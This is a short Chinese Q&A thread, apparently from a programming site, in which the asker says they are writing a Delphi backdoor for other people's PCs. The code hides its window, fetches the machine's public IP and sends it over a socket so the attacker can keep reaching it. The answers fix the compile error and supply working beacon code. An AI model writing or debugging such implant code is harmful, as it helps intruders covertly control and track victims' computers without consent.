我在Delphi中为其他PC做后门程序。它的IP一直在变化,所以我让它在套接字上发送我的IP。我正在执行程序,但是得到
实际参数不足
错误。
其代码:
var
MyPublicIP : string;
begin
Application.ShowMainForm := false;
MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
cs.Socket.SendText := strToInt(MyPublicIP); // error in this piece of code
end;
如果我将cs.Socket.SendText
替换为Label1.Caption
会起作用!
答案 0 :(得分:2)
尝试 cs.socket.sendtext(MyPublicIP);
答案 1 :(得分:-3)
好的,这对我有用:
var
MyPublicIP : string;
begin
Application.ShowMainForm := false;
MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
cs.Socket.SendText(MyPublicIP);
end;
我替换了 cs.Socket.SendText:= strToInt(MyPublicIP); 到
cs.Socket.SendText(MyPublicIP);